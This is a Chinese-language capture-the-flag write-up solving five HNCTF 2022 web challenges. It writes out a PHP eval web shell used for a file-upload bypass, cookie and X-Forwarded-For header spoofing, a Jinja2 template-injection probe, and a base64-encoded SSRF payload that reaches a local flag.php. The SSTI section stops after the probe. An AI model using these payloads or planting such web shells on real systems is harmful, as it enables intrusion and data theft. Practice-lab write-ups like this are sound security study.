文章目录
- [HNCTF 2022 Week1]easy_html
- [HNCTF 2022 Week1]easy_upload
- [HNCTF 2022 Week1]Interesting_http
- [HNCTF 2022 WEEK2]ez_SSTI
- [HNCTF 2022 WEEK2]ez_ssrf
[HNCTF 2022 Week1]easy_html
打开题目提示cookie有线索
访问一下url
发现要求我们输入手机号,可是只能输10位
F12查看,修改一下maxlength的值为11位
然后随便输入11位,即可得到flag
[HNCTF 2022 Week1]easy_upload
创建1.php
,写入一句话木马
<?php @eval($_POST['shell']);?>
上传成功
访问./upload/1.php
,然后ls看一下目录
得到flag
[HNCTF 2022 Week1]Interesting_http
根据提示,传一个我们想要的,那就传flag咯
然后是修改cookie为admin,添加X-Forwarded-For:127.0.0.1
然后让我们选择要哪个,这里发现l
变成了大写的i
(一直没发现。。)
得到flag
[HNCTF 2022 WEEK2]ez_SSTI
先试试
?name={{7*7}}
发现成功,猜测是Jinja2
[HNCTF 2022 WEEK2]ez_ssrf
源代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
简单分析一下,fsockopen能够使用socket与服务器进行tcp连接,并传输数据,host、port和数据都能定义,存在SSRF
扫一下目录,发现有./flag.php
提示本地127.0.0.1和80端口
这里应该是从index.php传参,ssrf然后访问到flag.php
将data值base64编码一下
payload
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
得到flag